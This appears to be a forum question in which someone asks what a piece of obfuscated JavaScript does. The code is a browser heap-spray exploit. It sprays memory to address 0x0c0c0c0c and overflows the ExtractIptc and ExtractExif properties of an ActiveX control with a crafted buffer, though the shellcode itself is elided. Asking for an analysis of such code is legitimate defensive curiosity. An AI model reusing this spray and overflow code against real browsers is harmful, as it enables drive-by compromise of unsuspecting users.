I do not understand this code snippet :
function ms(){ 
    var plc=unescape('".
    unescape( '\x43\x43\x43\x43\n.............\xEF'. $URL).CollectGarbage(); 
    if (mf)return(0);
    mf=1; 
    var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
    var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
    for(i=0;i<hb;i++) m[i]=ss+plc; 
    hav();
    return(1); 
    }
In the above function I can't seem to figure out the variable types, or figure out what it's doing with the hsta variable, and what it's assigning to it:
var hsta=0x0c0c0c0c,hbs=0x100000,pl=plc.length*2,sss=hbs-(pl+0x38);
var ss=gss(addr(hsta),sss),hb=(hsta-hbs)/hbs;
for(i=0;i<hb;i++)m[i]=ss+plc;
I also can't figure out this function :
function fb(){
    try {
        var obj=null;
        obj=cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}');
        if(obj){
            ms();
            var buf = addr(0x0c0c0c0c);
            while (buf.length < 400) buf += buf;
            buf = buf.substring(0,400);
            obj.ExtractIptc = buf;
            obj.ExtractExif = buf;
            }
       } catch(e){}
    return 0;
    }
What does the following code mean?
cobj('{5C6698D9-7BE4-4122-8EC5-291D84DBD4A0}')
What kind of variable is this?
var buf = addr(0x0c0c0c0c);
buf = buf.substring(0,400);
obj.ExtractIptc = buf;
obj.ExtractExif = buf;
Most importantly, what is that code snippet trying to do?
Here are some more functions:
function hex(num,width){
    var digits='0123456789ABCDEF';
    var hex=digits.substr(num&0xF,1);
    while(num>0xF){
        num=num>>>4;
        hex=digits.substr(num&0xF,1)+hex;
        } 
    var width=(width?width:0);
    while(hex.length<width)hex='0'+hex;
    return hex; 
}
function addr(addr){
    return unescape('%u'+hex(addr&0xFFFF,4)+'%u'+hex((addr>>16)&0xFFFF,4));
    }
Any guidance would be appreciated.